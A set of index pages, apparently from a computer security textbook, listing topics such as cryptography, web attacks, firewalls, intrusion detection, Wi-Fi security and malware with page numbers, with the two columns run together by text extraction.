... defenses 262, 265 ... see also: design principles (safe defaults)
CT (Certificate Transparency) 234 defense in depth 286–287
CTR (counter mode), see: modes of operation ... see also: design principles
deleting (files, data) 23, 104, 143–144
cued recall 65, 79
... see also: secure deletion
cumulative probability of success 85
demonstration of knowledge, see: proof of knowl-
CVE list (Common Vulnerabilities and Exposures)
edge
208, 319
denial of service, see: DoS
CVSS (Common Vulnerability Scoring System) 208
denylist vs. allowlist 21, 43, 63–64, 85–86, 190, 251,
CWE dictionary (Common Weakness Enumeration)
265, 268–271, 285, 287, 314, 318, 325, 333
208
DEP (data execution prevention), see: non-executable
cyclic group 115–120
dependability 27
Cyclic Redundancy Code, see: CRC
dependable and secure computing 27, 184
Cyclone (C dialect) 179
derivation function (keys), see: KDF, PRF
DES (Data Encryption Standard) 32, 49, 51
D design for evolution, see: design principles
design principles for security 20–25, 27, 151, 206,
daemon (service) 175, 304, 318 273
DANE protocol 234 ... complete mediation P4: 21, 25, 131, 134, 146,
... DANE certificate 234 157, 234, 283, 324
dangerous error 273 ... data-type validation P15: 23, 25, 165, 173, 265,
dangling pointer 179 333
DAO (Decentralized Autonomous Org.) 405–406 ... defense in depth P13: 23, 50, 64, 66, 70, 73, 78,
DApps (decentralized applications) 405–406 233, 287, 291, 358
darknet 206 ... design for evolution HP2: 24, 60
data authentication, see: data origin authentication ... evidence production P14: 23, 234, 311, 316
Data Encryption Standard, see: DES ... independent confirmation P18: 24–25, 43, 70,
data execution prevention (DEP), see: non-executable 218
data extrusion 283 ... isolated compartments P5: 21–22, 128, 142, 146,
data flow diagram 12, 14 197, 199, 206, 257, 283, 297, 324
424 Index
... least privilege P6: 21–22, 129, 137, 148, 151, directory structure 138, 140, 142, 151
174, 199, 206, 234, 291, 297, 324 dirfile (directory file) 138
... least surprise P10: 22, 206, 273 disassociate frame (802.11) 344–346, 367, 369
... modular design P7: 21–22, 131, 146, 151, 199, discrete logarithm 50, 101, 117, 121
358 disk encryption 200, 208
... open design P3: 21, 24, 31, 41, 80, 358 dispatch table 169, 197–198
... reluctant allocation P20: 24, 262, 323–324 distance-bounding protocols 98
... remnant removal P16: 23, 104, 144 distinguished name, see: DN
... request-response integrity P19: 21, 24, 158, 218, distributed consensus (Lamport) 406
325, 328, 334 distributed denial of service, see: DDoS
... safe defaults P2: 21, 206, 224, 233–234, 273, distribution system (802.11), see: DS
284–285, 358 diversity of code 22
... security by design HP1: 24 DKOM (direct kernel object manipulation) 198
... simplicity and necessity P1: 20, 26, 78, 206, 324 DLL (Dynamically Linked Library) 198–199
... small trusted bases P8: 22, 131, 152 ... injection, see: injection (DLL injection)
... sufficient work factor P12: 23, 32, 64, 70, 111 DMA (Direct Memory Access) 199
... time-tested tools P9: 22, 30, 97, 106 DMZ (demilitarized zone) 285, 291–292
... trust anchor justification P17: 23–25, 218, 220, DN (distinguished name) 215
234 DNS (Domain Name System) 235, 246–247, 282,
... user buy-in P11: 23, 58, 75, 273 284–285, 291–292, 300, 304, 306, 325, 334
... WEP (failure of design principles) 358 ... attacks on (listed by domain exploited) 327
design principles for usable security 273 ... authoritative DNS name server 326–327
desynchronization (TCP session) 331 ... cache poisoning, see: DNS (spoofing)
DET (detection error tradeoff) 74–75 ... client cache 326–327
detached signatures (S/MIME) 238 ... global hierarchy 326
detection error tradeoff, see: DET ... lookup 326
detection rate (true positive rate) 312 ... records 229, 234
detection vs. prevention 19, 23, 311 ... resolution 204, 247, 326–328
detour patching 198 ... resolver 326
device fingerprinting 70, 80 ... resolver cache 326–327
device pairing methods 120 ... root 247
Device Provisioning Protocol (802.11), see: DPP ... root server 326
DH (Diffie-Hellman) key agreement 38, 50–51, 93– ... server 326–327
94, 100–103, 109–110, 115–121, 236, 252, 274, ... server settings 327
300, 306, 323, 367 ... spoofing 327
... DHE (DH ephemeral) 252–253 ... threat analysis 334
... parameter checks 118–119 DNS security, see: DNSSEC
DHCP (Dynamic Host Configuration Protocol) 327 DNSSEC (DNS security extensions) 234, 327, 334
dial-up session 345 document loading (HTML) 248
Diameter (RADIUS alternative) 370 document object (HTML), see: DOM
dictionary attack 57, 60, 63–64, 86, 92, 97–99, 107– ... document.cookie 256, 263, 265
111, 358–359, 367–368 ... document.domain 255, 259
Diffie-Hellman, see: DH key agreement ... document.getElementById 263
digital collectibles 405 ... document.location 255, 263
digital evidence, see: evidence ... document.URL 255
digital notarization 405 ... document.write 248, 265
digital signature 39–41, 44, 216 DOM (Document Object Model) 255, 274
... comparison to public-key encryption 40 domain, see: protection domain
... generation and verification 40 Domain (cookie attribute) 255–256, 259
... using hash function 44–45 domain filtering 271
... with appendix 51 domain mismatch error 232
... with message recovery 51 domain name (DNS) 247
digital signature algorithms, see: RSA, DSA, ECDSA, Domain Validated certificate, see: DV certificate
EdDSA DoS (denial of service) 3, 6, 15, 24, 187, 193, 284,
directory, see: certificate directory 320–325, 328, 333–334
directory permissions, see: permissions ... defenses 325
Index 425
fallback authentication 13, 72 ... proxy (circuit-level) 286–288, 289–292, 306, 325
false accept 73–74 ... proxy historical context 306
false alarm (IDS) 173, 312, 314 ... web application firewall 306
false negative 311–313, 315 flag bits (TCP header) 304–305
... false negative rate (FNR) 312–313 Flask security architecture 145
false positive (FP, false alarm) 311–315, 317, 333 Flash cookie 259
... false positive rate (FPR) 312–313, 315 flash crowd 334
false reject 73–74 flooding attack (DoS) 320–321, 323, 331, 333
FAT (file allocation table) 189 Fluhrer, Mantin, Shamir, see: FMS attack
fault tree analysis 27 FMS attack (WEP keys) 353, 359–360, 369
faults 27 forensic analysis 23, 129, 133, 200, 287, 311, 316,
favicon 271 333
federated identity system 113–114, 120 Foreshadow (hardware side channel) 413
feedback to user 273 fork (system call) 137, 158, 171, 176–177, 296
fiat currency xv, 397 form (HTML), see: web form
FIDO (authentication) 86 ... form tag 248
file (filesystem) 126, 128, 138 formal analysis methods 411
... file ACL 136 formal security evaluation 10–11, 27
... file allocation table, see: FAT formal security models 27
... file descriptor 158, 177, 304 formal verification 120
... hidden filename extension 205 format string vulnerabilities 171, 179
file locker (malware) 202–203 forward search attack, see: attack
file metadata, see: inode forward secrecy 93, 104, 109, 120, 252, 368
file-based access control 133–134 four-pass handshake (802.11) 348–350, 359, 363,
filename resolution, see: name resolution 365–368, 370
filename squatting attack 159 ... forcing nonce reuse (attack) 370
filepath, see: path fragment (packet) 290, 304–306, 321
filesystem permissions 133–142 fragmentation (802.11) 360, 362
filter evasion, see: evasive encoding fragmentation attack 290, 333, 360
filtering bridge 317, 333 frame (data, Ethernet) 300, 303–304, 316, 328
FIN flag (TCP) 304
frame (HTML) 201, 255, 257–260, 274
find (command) 139–140
... inline frame (iframe) 258
finger (command) 193, 333
frame pointer (FP) 167
... fingerd (daemon) 193
frame types (802.11) 341
fingerprint
... control frames 341
... (meaning: hash), see: hash value
... data frames 341
... cross-check 218, 220, 232, 241, 294
... management frames 341
... recognition, see: biometric modalities
freshness (property) 46, 69, 72, 97–99, 101, 104–
... see also: device fingerprinting, OS fingerprinting
109, 216, 294
finite field
FTP (File Transfer Protocol) 229, 250, 254, 258,
... computational aspects 369
286–287, 291–293, 297, 300, 304, 306
... polynomials over 356
... FTP normal mode 286–287
... finite-field cryptography (FFC) 50, 252
... ftps (FTP over TLS) 293, 297
Finney, Hal (Bitcoin) 405
firewall 192, 250, 282–292, 306, 311, 320, 325 ftrapv (GCC compiler option) 166
... application-level filter 287–291, 299, 306 fully qualified domain name (FQDN) 247, 249, 258
... architecture 12, 288–292, 306 function call sequence (C language) 167
... configuration 306 function hooking, see: hooking
... dedicated 287 function pointer 169–170
... distributed 287, 306 fuzz testing (fuzzing) 179, 333
... hybrid appliance 287 fuzzy commitment 45
... internal 291
... limitations 286 G
... packet filter 282–288, 306
... packet-filtering rules 283–285, 306 gait, see: biometric modalities
... personal (host-based) 287–288 gas (Ethereum) 400
428 Index
... authentication method, see: EAP method integer data types (C language) 160
... dual-port access control 348, 367 integer factorization 50
... management and authentication framework 347 integer vulnerabilities (C language) 159–166, 178
... model 341 ... categories 162–163
... mutual authentication 365, 367 ... extension value change 162–163
... port controller 348–349 ... integer overflow 161–164, 178
... port-based access control 348, 370 ... integer truncation 161–163, 165
... used with Ethernet ports 348 ... integer underflow 162–163
... see also: upper-layer authentication ... intentional overflow 165
IETF (Internet Engineering Task Force) 369 ... narrowing loss 162–163
IFF (identify friend-or-foe) 98 ... signedness mismatch 159–163
IKE (Internet Key Exchange) 300, 303, 306 integrity (data) 3, 24, 33, 35, 39, 43, 45, 47
image (executable) 199 ... file checker, see: Tripwire
image tag (HTML) 247 ... mechanisms 47
IMAP (email retrieval) 235, 254, 304 ... of public key 37, 214
immutable field 300 integrity check value, see: ICV
impersonation 15, 73, 76, 87, 98–99, 103–104 integrity mechanism failure, see: WEP (ICV failure)
... see also: spoofing Intel (x86, IA-32) 151, 166, 178
implicit key authentication 104–105 intelligent packet filtering 283
Import Address Table, see: IAT interface design, see: usability and security
in-band signaling 218 interleaving attack, see: attack
inbound (packet) 283–292, 304, 333 Internet of Things (IoT) 310, 325
independent basic service set (802.11), see: IBSS Internet worm (Morris worm) 25, 57, 193–194, 297
independent channel 24, 67, 95, 294 interoperability 25, 240, 274
independent confirmation, see: design principles intruder 208, 282, 286, 311, 314–315, 332
index of coincidence (cryptanalysis) 51 intrusion (incident) 310–311
Individual Validated certificate, see: IV certificate intrusion detection 306, 310–311
infection vector 207 ... system, see: IDS
information 82 intrusion prevention system, see: IPS
information element (802.11), see: IE IP (Internet Protocol) 292, 300, 303–306
information-theoretic security 33, 42, 81 ... datagram 305
infrastructure mode, see: WLAN (infrastructure mode) ... header 301–302, 305
ingress filtering 284–285, 323, 324–325, 334 IP address 247, 303, 328
inheriting UID 137–138, 176 ... destination address 305
initial keying material, see: keying material ... IPv4 192–193, 303, 323
initialization vector, see: IV (initialization vector) ... IPv6 192, 303
injection 156, 168, 248 ... resolution, see: DNS (resolution)
... code injection 23, 170–173, 176, 179 ... source address 305
... command injection 23, 200, 275, 329 ... spoofing 284, 321–322, 324–325, 330, 333
... command injection (formal definition) 267, 275 IP-in-IP tunnel 302
... cookie injection 274 IPRA (Internet PCA Registration Authority, PEM)
... DLL injection (call interception) 200, 208 239
... script injection 262–263, 265–267 IPS (intrusion prevention system) 311, 317–318
... SQL injection 266–269, 275 IPsec (Internet Protocol security suite) 224, 298–
... see also: buffer overflow, CSRF, XSS 299, 300–303, 306
inline device 287, 297, 303, 316–317 ... deployment options 302–303
inode (index node) 135, 138, 140–142, 157–158 ... deployment challenges 302–303
input filtering 265–266, 268 ... ESP configurations 303
input sanitization 23, 262–265, 268–269, 275 ... header 302
insider/outsider 9–10, 22, 185, 207, 282–283, 286, ... policy 303
299, 327, 347, 413 ... trailer 302
instant-messaging system 225 iptables 288, 306
instruction address register, see: instruction pointer IRC (Internet Relay Chat) 204
instruction pointer 147, 167–168, 170, 172, 178 iris recognition, see: biometric modalities
instruction set randomization 179 ISAKMP (Internet Security Association and Key Man-
integer conversion 160 agement Protocol), see: IKE
Index 431
mouse patterns, see: biometric modalities no-op sled (NOP, no-operation) 168, 170
move-countermove games 190, 269 node (Bitcoin) 377, 394
MPDU (MAC protocol data unit) 341, 352, 355, ... full node 391, 394
361–362 ... light node 394–395, see also: SPV (client)
MPT (Merkle Patricia Tree) 399, 402, 403–404, 406 ... peer node 377
MSA (mail submission agent) 235 non-executable (stack, heap) 171–172
MSCHAP, MSCHAPv2 (authentication) 369–370 non-fungible token, see: NFT
MSDU (MAC service data unit) 362 non-repudiation 4, 15, 39, 45–46, 216–217
MTA (mail transfer agent) 235 nonce 35, 48–49, 99–100, 114, 252–253, 365
MTU (max. transmission unit, Ethernet) 304, 357 ... see also: AES-CCMP (nonce), block header (Bit-
MUA (mail user agent) 235 coin, mining nonce), Ethereum (nonce)
multi-level security, see: MLS notary 217
multicast address 342 NTAPI (Native API) 198
Multics 126, 133, 146, 148–152, 413 NTP (Network Time Protocol) 324, 365
... see also: protection rings, segment (addressing) NUL byte (C language) 167, 173, 177–178
multiplicative group 115, 117 NULL pointer (C language) 177
mutable fields 300, 361 null authentication (802.11), see: Open System au-
mutation engine (malware) 191 thentication
mutual authentication 93–94, 100, 103, 106, 114, null encryption (IPsec) 303
223, 274 NVD (National Vulnerability Database) 208
N O
Nakamoto, Satoshi 405
obfuscation 191–192, 265, 268
name (data type in certificate) 215
object (access control) 130–133, 145
name constraint (extension) 221, 228
object (DOM), see: DOM
name resolution 24, 157–159, 178, 247
object (file, binary) 199, 208
name server (DNS) 326–327
object identifier, see: OID
name space 113, 221, 239
Namecoin 405 object tag (HTML) 259, 265
NAT (network address translation) 287, 303, 306 oclHashcat (password cracker) 64
National Vulnerability Database, see: NVD OCSP (Online Certificate Status Protocol) 222–223,
need-to-know (principle) 22 241
Needham-Schroeder protocol 120 ... OCSP-stapling 222, 241
Nessus (vulnerability scanner) 318–319 OFB (Output Feedback Mode), see: modes of opn
Netcat (nc) 320 off-path (blind) attacks 332, 334
Netfilter framework 288 offline password guessing 57–65, 77–78, 86, 92, 98,
netstat (network statistics) 319 105–106, 107–111, 120, 217
NetStumbler (wireless active scanning) 345–346 OID (object identifier) 230
Network Flight Recorder (NFR) 332 OKE (Open Key Exchange) 111
network interface card (NIC) 316 ommer, see: block (Ethereum, uncle)
... wireless 346 on-path attacks 329–331, 334
network layer 291, 300, 303–305, 328 on-the-fly guessing attacks 60, 63–64
network mapping 318 one’s complement (binary representation) 164
network protocol stack, see: network stack one-time pad (stream cipher) 33, 51, 354, 356
network protocols 300, 303–306 one-time password, see: OTP
network security 282–306, 310–334 one-way property 41
network stack 292, 298, 300, 303, 328, 349–350 ... one-way hash function, see: hash function
Network Time Protocol, see: NTP online password guessing 57–65, 78, 80, 84–86, 107–
network traffic analyzer 319 108, 120, 161, 306, 319, 396
network worm, see: worm opcode (machine code) 168, 170, 177, 195, 199
NFT (non-fungible token) 405 open (system call) 157–159
Nimda (worm) 208 open AP (no encryption) 367–368
NIST (National Inst. of Standards and Tech.) 34 open design, see: design principles
Nmap (network mapper) 318–319, 333 Open System authentication (802.11) 342–343, 349,
NNTP (Network News Transfer Protocol) 254 353
Index 435
... certificate-policies extension 230 private key (asymmetric) 37–40, 45, 49–51, 101,
... certification policy 217–218, 230 203, 214–217, 295–296
... compliance 317 private network 298
... corporate 294 private-key sharing (TLS) 234
... cross-site access control 274 private-key storage 214–215, 217
... firewall 284–286, 288, 299 privilege escalation 16, 21, 156–157, 174–175, 178,
... house policy 6 262
... Internet 284, 286 privilege level, see: protection rings, superuser, su-
... IPsec 303, 306 pervisor
... operational (certification authority) 216 privileged bit 127–128
... policies for plugins 259 ... see also: supervisor
... remote access policy 5 privileged instructions 195
... violation of security policy 5 privileged port 175, 285
... WLAN policy 364 privileges 3, 22, 24, 129, 137, 150, 158, 174–175,
... see also: password expiration, password compo- 187, 195
sition PRNG (pseudo-random number generator) 120
Policy Certification Authority (PEM), see: PCA ... see also: PRF, RNG
policy script component (IDS) 315 proactive password cracking 63, 317
policy-based packet filtering (IPsec) 303 probabilistic encryption, see: ElGamal encryption
Poly1305, see: MAC algorithms probability distribution 74, 82, 85
polyalphabetic substitution 51 probability of guessing success 62
polymorphic virus, see: virus probable prime number 333
Ponzi scheme 405 probe (802.11) 341, 342–343, 345–346
POP3 (email retrieval) 235, 254, 304 probe (scan) 318, 333
port (TCP, UDP) 175, 247, 258, 283–288, 295, 303, process creation 175–176
304–305, 318 process identifier, see: PID
port (802.11) processes (operating system) 149–151
... controlled port 348 profile (IDS) 314–315, 332
... uncontrolled port 348 Program Counter (PC), see: Instruction Pointer
... see also: IEEE 802.1X promiscuous mode
port forwarding (SSH) 295–296 ... wired network 316, 319
port mirror 316 ... wireless 346
port scanning, see: scanning (TCP, UDP ports) proof by contradiction 190, 208
port stealing 328 proof of knowledge 68, 97, 103, 112, 216, 229, 253
positive validation 269 ... see also: challenge-response
POST (HTTP request method) 249, 261–262, 274 proof of work 381, 389, 391–393, 395
postfix expression (notation) 382 ... greatest aggregate proof of work 392
postMessage 274 proof-of-stake model, see: mining (Ethereum)
postprocessing results (inline hooking ) 198 protected management frames (802.11), see: PMF
PPP (Point-to-Point Protocol) 369–370 protection (operating system) 126
pre-capture attack, see: attack protection bit initial values 135, 141
pre-shared key, see: PSK protection domain 129–130, 149–151, 257
preimage 42 protection group, see: group
... preimage resistance 41–42 protection rings (access control, Multics) 146–152
prepared statements (SQL) 269 ... access bracket 147–150
preview panes (email auto-preview) 205 ... brackets (read, write, execute) 148
PRF (pseudo-random function) 362–363, 365 ... ring number 147, 150
... for deriving sequences of keys (Bitcoin) 398 protocol 92
... see also: AES-CCMP (key hierarchy), KDF, PRNG protocol data unit, see: PDU
primary group 134 protocol scrubber 333
primary vs. secondary task 273 provably secure 4
principal 3, 21, 129–130 proxy (firewall), see: firewall (proxy)
... see also: subject (access control) proxy server, see: HTTP (proxy server)
principles, see: design principles proxy-aware client 288–289
printf (C function) 171 proxy-aware gateway 288
privacy 4, 75, 184, 250, 256–257, 368, 370 pseudo-protocol (HTML) 248
438 Index
... validation 383, 386 SegWit (segregated witness, Bitcoin) 379, 406
... see also: locking script, unlocking script self-extracting executable 206
script tag (HTML) 248, 257, 263 self-replication (breeding malware) 207
scripting languages 200, 248 self-signed, see: certificate
scrypt (hashing) 61 SELinux (security-enhanced Linux) 145, 151
SEAndroid (security-enhanced Android) 145–146 sendmail (program) 194
search (command), see: find sensor (IDS) 311
search tree 403–404 separate-ports strategy 254, 274
second-preimage resistant 42 separation of duties 22
secp256k1 (ECDSA curve), see: ECDSA sequence number (TVP) 99
secret prefix (hashing) 46 ... IPsec 300, 302
... secret suffix 46 ... TCP 300–302, 305, 322, 324, 329–330
... secret envelope 46 sequences of system calls 311, 315
secret questions 65–66, 86 server certificate, see: TLS (certificate)
... see also: account (recovery) Server Name Indication, see: SNI
secret validation tokens (CSRF) 262 service set identifier, see: SSID
secret-key cryptography, see: symmetric crypto session creep (IDS) 315
Secure (cookie attribute) 256, 259, 261 session hijacking, see: hijacking
secure 4–5, 18–20, 33 session ID (HTTP) 260, 294
secure attention sequence, see: trusted path session key, see: key
secure composition 412 session keys (802.11) 348, 365
secure deletion 23, 104, 144 ... liveness 366
... see also: remnant removal ... see also: AES-CCMP, PTK
secure file transfer (comparison) 296–297 session resumption (TLS) 254
secure heap allocator 171, 173, 179 session riding 261
secure prime 118–119, 121 Set-Cookie (HTTP header) 255
secure protocol composition 413 setfacl (command) 136
security setgid (set groupID) 135, 137–139
... analysis (process) 9–11, 17–19 setjmp (longjump) 170
... by design, see: design principles setuid (set userID) 135, 137–139, 151, 157–158, 175
... by obscurity 21 sftp (SFTP) 293, 297
... cues, see: security indicators SGX (Intel) 413
... kernel 131, 151–152 SHA (Secure Hashing Algorithm) 44
... label 145 ... SHA-1 44, 61, 232, 274
... mechanisms 6, 18–19 ... SHA-2 (SHA-256, SHA-512) 44, 232, 274
... metrics 27, 62, 75, 85–86, 312–313 ... SHA-3 44, 274, 399, 406
... model 11, 18, 260, 412 ... SHA256 44, 378, 387, 391, 397, 404, 406
... model limitations 412 shadow password file, see: /etc/shadow
... policy, see: policy shadow stack 173
... questions, see: secret questions Shannon entropy, see: entropy
... requirements 5, 11, 18–20, 65, 75, 104, 126, 131, Shared Key authentication (802.11) 342, 353, 356,
412 358, 367
security association, see: SA shell (command interpreter) 176–178, 188, 203, 293
security clearance, see: classification level ... shell script 188
security indicators (cues) 26, 246, 270–275, 411 shellcode 156, 170–172, 175 176–179, 203
... negative indicators 272 short exponents 50, 119
Security Parameters Index (IPsec), see: SPI shoulder surfing (password capture) 57
security policy database (IPsec) 303 side channels 15, 23, 197, 370, 413
security tunnel, see: tunnel (encrypted) sign bit 161, 164
SecurityFocus (vulnerability database) 208 sign extension 161–163, 166
segment (addressing) 128–129, 146–147 sign flag (arithmetic) 166
... descriptor register 127–128, 149 signed-only email 238
... descriptor segment 128–129, 149–150 signature (digital), see: digital signature
... segment descriptor 128–129, 133, 146–150 signature (of attack)
... segmented addressing 126, 146, 152 ... behavioral 190, 314–315, 320
segment (TCP) 300, 304, 329–331 ... malware 190, 207, 314–315
Index 441
signature algorithm, see: digital signature algorithms spam 79, 203, 207, 238, 240, 271, 284–285, 291
signature verification, see: digital signature ... filtering 240, 271
signature-based IDS, see: IDS ... spambot (spam zombie) 207
signed code, see: code signing SPAN port (switched port analyzer) 316–317
signed integer, see: two’s complement special protection bits 135–136
signedness error (sign conversion), see: integer vul- specification-based IDS, see: IDS
nerabilities Spectre (hardware side channel) 413
SIM swap attack (subscriber identity module) 67 speculative execution (side channel) 197, 413
Simple Mail Transfer Protocol, see: SMTP SPEKE (simple password exponential key exchange)
simple payment verification, see: SPV 94, 110, 120, 368
simplicity and necessity, see: design principles SPI (Security Parameters Index, IPsec) 300–301
single-credential system 113 spoofing 15, 76, see also: ARP spoofing, DNS (spoof-
single point of failure 23, 78, 204 ing), IP address (spoofing), MAC address (spoof-
single sign-on, see: SSO ing), SSID (spoofing)
small trusted bases, see: design principles SPV (simple payment verification) 395–396, 405
small-subgroup attack 101–102, 110, 118, 115–121 ... client (thin client) 395
smart contract 376, 399, 405–406 ... confirmation 395
... categories (use cases) 405 SQL (Structured Query Language) 266
... examples 406 ... database 267
... programming pitfalls and attacks 406 ... injection 266–269, 275
... security analysis and tools 406 ... injection mitigation 269
SMS (Short Message Service) 66–67, 86–87, 240 ... query 267
SMTP (Simple Mail Transfer Protocol) 229, 235, ... server (database) 267
254, 284–285, 304 ... SQL single quotes 268
Smurf attack (flood) 323, 325, 334 squatting, see: typosquatting
... mitigation 323 src= attribute (HTML) 247–248, 257
SNI (Server Name Indication) 241 SRP (PAKE protocol) 111, 120, 273–274
sniffing (wireless) 346 SSDT (System Service Dispatch Table) 198
Snort (IDS) 315, 319, 332–333 ... see also: dispatch table
... snort2bro 315 SSH (secure shell protocol suite) 185, 220, 241, 250–
social engineering 26, 57, 67, 185, 187, 199, 202, 251, 258, 290, 292–298, 300, 306
205–207, 261, 264, 270–271, 273, 411 ... channel 293–294
socket (IP) 284–285, 289–290, 304, 322, 330–331, ... client authentication 294
333 ... connection protocol 293
SOCKS 289–290, 306 ... host key 294, 306
... sockd (SOCKS daemon) 289–290 ... host-based client authentication 296
software fault injection 333 ... multiplexed channel 293
software installation 56, 185, 195, 205, 207 ... server authentication 294
software interrupt 164, 176 ... ssh, sshd (client, daemon) 293, 295
software security 19, 156–178, 319 ... SSH tunnel 290, 292–293, 295–296, 300
software update 24, 413, see also: update ... SSH2 306
SolarWinds (company, incident) 413 ... transport layer protocol 293
Solidity (Ethereum programming language) 404 ... trust models 220, 294
Sony rootkit 196 ... user authentication protocol 293, 295
SOP (same-origin policy) 257 SSID (service set identifier) 342, 344, 346, 367
... DOM SOP 246, 257–260, 274–275 ... spoofing 342
... matching origin 259 SSL (Secure Sockets Layer), see: TLS
... origin (definition) 257–258 SSO (single sign-on) 113–114, 120
... origin server 255–257, 260 STA (mobile station, 802.11) 340–341
... origin triplet 257–258 Stacheldraht (TFN-based DoS) 325
... SOP for cookies 259, 274–275 stack frame 167–168
... SOP for plugins 259, 274 Stack Pointer, see: SP
source address spoofing, see: IP address (spoofing) stack querying (OS fingerprinting) 318, 333
SP (Stack Pointer) 167 stakeholders 26, 240
space (size of set), see: key space standard input/output streams, see: stdin
Spacefiller, see: Chernobyl virus stack-based computation 382
442 Index
... Wi-Fi Protected Setup, see: WPS ... spreading techniques 187, 191–194, 201, 208
what you are 69–71 WPA (Wi-Fi Protected Access) 350, 364–365, 369
what you do 71 WPA2 361, 364–365, 368–369
what you have 67, 69–70 ... WPA2-Personal 368
what you know 69–70 ... formal analysis 370
WhatsApp Messenger 225 WPA3 344, 364–365, 368
where you are 69–70 ... compliance 369
white-box, see: black-box vs. white-box ... transition mode (WPA2 interoperability) 368
white-hat, see: black-hat vs. white-hat ... WPA3-Enterprise 365, 368
whitelist, see: allowlist ... WPA3-Personal 365,368
why security is hard 25–27, 120, 411 WPS (Wi-Fi Protected Setup) 368
Wi-Fi (IEEE 802.11) 13, 300, 327, 340 wrap around (integer) 161–162, 165
... hotspot (access point) 346 wrapper function 176–177, 198
... passwords in coffee shops 367 write permission (W), see: permissions
Wi-Fi 4 (Wi-Fi 5, Wi-Fi 6) 365
Wi-Fi Alliance, see: WFA
Wi-Fi Protected Access, see: WPA X
Wi-Fi Protected Setup, see: WPS X Window System (version 11) 296
widget (web) 201 ... X11 (forwarding) 294, 296
wildcard domain 230 X.500 224, 233
window object (DOM) 251, 255–256, 258–260, 270 X.509, see: certificate
... window.document 255 XEX (XOR Encrypt XOR), see: XTS
... window.location 251, 255 XMLHttpRequest 260, 275
... window.open 258 XMPP (Extensible Messaging and Presence Proto-
Windows (OS) 113, 151, 156, 177–178, 189, 198– col) 254
199, 202, 208, 293, 319, 327 XOR (exclusive-OR) 33–35
... function hooking 198 Xprobe2 (OS fingerprinting) 318, 333
WinDump 319 XSS (cross-site scripting) 262–266, 274–275
WireGuard (VPN) 303 ... defenses 264–265, 275
wireless access, see: AP ... DOM-based XSS 263
... risks, see: WLAN (threats) ... reflected XSS (non-persistent) 263–264
... in hotels, coffee shops 250, 287, 327 ... stored XSS (persistent) 262–264
wireless analysis tools XTS (XEX Tweakable Block Cipher with Cipher-
... Aircrack, Aircrack-ng 346, 360 text Stealing), see: modes of operation
... AirSnort 345, 360
... Kismet 346
... WEPCrack 360 Y
wireless DoS, see: DoS (wireless)
Yahoo! 194
wireless local area network, see: WLAN
Ylönen, Tatu (SSH inventor) 297, 306
Wireshark (Ethereal) 319
WLAN (wireless local area network) 340–341
... architecture 340 Z
... in-range of service 341–342, 345–347
... infrastructure mode (802.11) 341–342 Zeek (Bro, IDS) 315–316, 319, 332–333
... security 340–373 Zenmap (Nmap UI) 318–319
... security architecture 347 zero extension (integer) 161–163
... threats and mitigations 287, 297, 327, 343, 347 zero-day exploit 190, 204
... threat model (physical basis for) 347 zero-knowledge, see: proof of knowledge
... see also: attack (wireless) zero-pixel (window, iframe) 201, 262
work factor 23 Zeus (bank Trojan) 204
working key, see: key .zip file (compression) 206
world-writable file 139–140, 158 ZMap (Internet scanning tool) 333
worm 185, 186–187, 190–194, 207 zombie (compromised) 201, 203–204, 207, 321
... flash worm 193, 208 zxcvbn (password meter) 87
... incidents 191, 193–194
... self-stopping 190